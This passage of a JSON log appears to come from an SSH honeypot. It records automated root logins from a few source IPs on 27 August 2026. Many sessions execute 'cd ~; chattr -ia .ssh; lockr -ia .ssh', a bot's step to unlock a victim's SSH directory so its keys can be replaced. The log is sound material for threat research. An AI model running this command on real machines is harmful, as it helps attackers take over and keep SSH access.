  "id": "42103dda-053e-4506-aa47-d5294316861b",
  "name": "verdant-proud-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59998,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:58:24.073588+00:00",
  "ended_at": "2026-08-27T12:58:24.936473+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b81903e5-027f-4f03-b5d6-2907a4608d6e",
  "name": "brazen-prairie-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 34350,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:58:17.091596+00:00",
  "ended_at": "2026-08-27T12:58:18.000857+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "990db4c9-ea26-41b4-b957-2395fe52d53c",
  "name": "hushed-thorny-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 34378,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:58:00.848161+00:00",
  "ended_at": "2026-08-27T12:58:01.591834+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e60ce5f5-6dbd-4313-b46a-5991c59310f8",
  "name": "sandy-smooth-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 42206,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 742,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:56:32.739534+00:00",
  "ended_at": "2026-08-27T12:56:33.501179+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "250eebcf-aea6-4e1f-bc21-b2948783b0f7",
  "name": "coral-murky-wallaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 42222,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:56:17.904006+00:00",
  "ended_at": "2026-08-27T12:56:19.614163+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6813f20-da54-43e4-8628-5456f230fb6c",
  "name": "meadow-thrifty-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 44592,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:56:13.484738+00:00",
  "ended_at": "2026-08-27T12:56:14.446308+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "dbd209f5-dc7b-4904-92d7-6615076b6410",
  "name": "alpine-patient-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 53752,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:56:01.232088+00:00",
  "ended_at": "2026-08-27T12:56:03.197873+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "dab3dbe7-afbc-45fe-8deb-966d823900b3",
  "name": "barren-sooty-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 47624,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:55:57.533245+00:00",
  "ended_at": "2026-08-27T12:55:58.461546+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4a14eff5-6cc0-41d5-9fc0-4fa9df943ae4",
  "name": "gallant-coral-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59934,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 450,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:55:54.249532+00:00",
  "ended_at": "2026-08-27T12:55:55.305917+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "ba98acb4-89f9-4369-8938-ed25c5822d12",
  "name": "whispering-jagged-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 53780,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:55:45.051749+00:00",
  "ended_at": "2026-08-27T12:55:46.051405+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9be06f9c-e697-4fb9-b6f6-16da28a9537f",
  "name": "silent-eager-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59958,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:55:36.145053+00:00",
  "ended_at": "2026-08-27T12:55:37.131145+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "77fe352d-ca94-40a2-91d5-880dded9378e",
  "name": "oaken-curious-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 43992,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:54:14.420708+00:00",
  "ended_at": "2026-08-27T12:54:15.991145+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "531cd024-fe1e-45ff-b7d0-72e35385721e",
  "name": "fierce-freckled-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 49812,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 349,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:54:05.492043+00:00",
  "ended_at": "2026-08-27T12:54:07.607201+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "f1020119-4ea4-4910-8fac-75f4eda3f84e",
  "name": "cunning-quartz-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 44012,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:53:59.189158+00:00",
  "ended_at": "2026-08-27T12:54:00.976479+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f4ae9bdf-98aa-4d50-9031-a865cd7847d6",
  "name": "wiry-crystal-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 51566,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:53:49.222503+00:00",
  "ended_at": "2026-08-27T12:53:49.824622+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc7fc61d-c17f-4018-ba98-b97ee9b95beb",
  "name": "sullen-restless-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59912,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 445,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:53:15.753493+00:00",
  "ended_at": "2026-08-27T12:53:16.740548+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "77710284-4161-446e-8859-906685782872",
  "name": "arctic-graceful-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59928,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:52:57.654567+00:00",
  "ended_at": "2026-08-27T12:52:59.368626+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b474a105-1c8f-4b7a-a107-b6513d19cb4c",
  "name": "wandering-icy-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 51332,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 330,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:51:59.998119+00:00",
  "ended_at": "2026-08-27T12:52:01.203481+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "a2897646-8b8c-4303-9a5d-3797ee2e4dfe",
  "name": "cheerful-curious-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 51360,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:51:45.114700+00:00",
  "ended_at": "2026-08-27T12:51:46.134080+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bd409d2b-ed61-4abf-a487-c971f7a166d4",
  "name": "bronzed-drifting-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 56738,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:50:48.404055+00:00",
  "ended_at": "2026-08-27T12:50:51.060389+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a25beac5-9f37-499c-bc7a-3fa874c92795",
  "name": "tender-silent-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 56730,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:50:42.439601+00:00",
  "ended_at": "2026-08-27T12:50:43.568009+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "2be61374-7157-471c-8912-bee3a0601c04",
  "name": "prairie-whispering-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59854,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 446,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:47:57.972467+00:00",
  "ended_at": "2026-08-27T12:47:59.174021+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "a91607e8-e524-40e0-9e00-a167432f342e",
  "name": "sullen-marine-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 41434,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 347,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:47:51.603044+00:00",
  "ended_at": "2026-08-27T12:47:53.744422+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "e6b750e1-5b54-45ef-ade8-4cafd4c740f7",
  "name": "faded-boreal-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59882,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:47:40.981594+00:00",
  "ended_at": "2026-08-27T12:47:41.981559+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e665c71c-fb6a-4d64-aeba-bcae6fdfe8d0",
  "name": "prickly-velvet-waxwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 41450,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:47:35.352041+00:00",
  "ended_at": "2026-08-27T12:47:36.453911+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5559e721-6a86-4e90-bdf4-92487a3505ca",
  "name": "salty-murky-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 55536,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:45:53.445340+00:00",
  "ended_at": "2026-08-27T12:45:55.408876+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "3a8dc6c6-23f1-4d90-bd5d-43805cefd14e",
  "name": "muted-granite-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 45466,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:45:31.117745+00:00",
  "ended_at": "2026-08-27T12:45:32.320954+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8b312082-94b9-4a3e-a9b9-706b74821f85",
  "name": "dutiful-murky-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59826,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 442,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:45:18.685494+00:00",
  "ended_at": "2026-08-27T12:45:20.012052+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "b5e6c07d-286e-458a-a0fc-17af7b21e305",
  "name": "mottled-jaunty-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59848,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:45:01.174446+00:00",
  "ended_at": "2026-08-27T12:45:02.204623+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c107fcb5-0ca5-47ba-8c90-ffbc75cedf5c",
  "name": "crystal-jagged-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 47340,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:42:27.151888+00:00",
  "ended_at": "2026-08-27T12:42:27.934055+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a9c6065a-7d90-421a-99fa-0bbe9f749ef8",
  "name": "quartz-amiable-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 47322,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:42:20.515413+00:00",
  "ended_at": "2026-08-27T12:42:21.434017+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "39da07dd-fb38-4fce-a527-19f9da5cd42c",
  "name": "snowy-lawful-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 46688,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:39:56.552160+00:00",
  "ended_at": "2026-08-27T12:39:58.483014+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "c56126fe-d554-46c9-b23f-c60c629d2098",
  "name": "languid-early-gadwall",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 46710,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:39:42.142915+00:00",
  "ended_at": "2026-08-27T12:39:42.751879+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3e59a2b6-5ca3-4b3c-a371-56c48ad903d9",
  "name": "crisp-honest-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 59326,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:37:49.832818+00:00",
  "ended_at": "2026-08-27T12:37:51.792145+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "65834ad2-99ae-492e-8b0f-b3fd2076385d",
  "name": "forlorn-spirited-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 59340,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:37:34.612656+00:00",
  "ended_at": "2026-08-27T12:37:35.396316+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "467028cb-c29a-47a2-afec-d16a157b2777",
  "name": "honest-frank-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 55354,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:36:56.792472+00:00",
  "ended_at": "2026-08-27T12:36:58.539322+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d7f905c-ba6c-49fd-9c86-a32b9576a007",
  "name": "sandy-plush-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 49104,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:36:48.413311+00:00",
  "ended_at": "2026-08-27T12:36:50.277326+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "a43d6df3-a362-41f0-ac3b-6d50b2b37097",
  "name": "flinty-foggy-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 37116,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:33:44.889851+00:00",
  "ended_at": "2026-08-27T12:33:45.802782+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "76f346a1-f615-4192-8f06-bceee895d849",
  "name": "vigilant-eager-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 51388,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 259,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:33:36.913486+00:00",
  "ended_at": "2026-08-27T12:33:39.163783+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "4580ea74-454f-437d-883a-77f5f7308cc3",
  "name": "gallant-sullen-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 37136,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:33:28.294874+00:00",
  "ended_at": "2026-08-27T12:33:29.314411+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "20f3ca35-e4c1-4e79-9bfe-e5ec9d9c89ed",
  "name": "feral-fierce-goose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 51402,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:33:20.567470+00:00",
  "ended_at": "2026-08-27T12:33:22.449147+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0c76bfb4-836e-4008-83a9-7ac679dbfa15",
  "name": "crisp-hazel-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 59090,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:31:28.446059+00:00",
  "ended_at": "2026-08-27T12:31:29.412215+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "10a37ecf-3316-4422-9f82-db18baebbdb6",
  "name": "subtle-boreal-mongoose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 59106,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:31:13.315126+00:00",
  "ended_at": "2026-08-27T12:31:15.126731+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e5ebfb99-0401-4147-b4b9-c5fff6839c7d",
  "name": "verdant-breezy-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 53220,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:29:36.925712+00:00",
  "ended_at": "2026-08-27T12:29:37.877115+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "6f5b8ece-b33e-4d78-b9da-05147aaf9f4f",
  "name": "plush-smooth-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 53236,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:29:21.716141+00:00",
  "ended_at": "2026-08-27T12:29:22.325099+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1047406f-7e04-4b83-9acb-2aca205290c8",
  "name": "regal-polar-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 51166,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:27:37.812022+00:00",
  "ended_at": "2026-08-27T12:27:39.366564+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "7f977971-69f4-4ae9-884a-f8be46307eba",
  "name": "drifting-forlorn-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 51178,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:27:22.943577+00:00",
  "ended_at": "2026-08-27T12:27:24.437268+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e00e9b56-c236-4a32-a457-8a88a1fa0e97",
  "name": "electric-tawny-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 33410,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 735,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:26:03.861784+00:00",
  "ended_at": "2026-08-27T12:26:05.485026+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "d0ad47f4-68a4-4754-8d3d-94ab5cded373",
  "name": "marine-canny-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 52288,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:25:42.587861+00:00",
  "ended_at": "2026-08-27T12:25:43.393795+00:00",
  "ended_reason": "no channel opened",
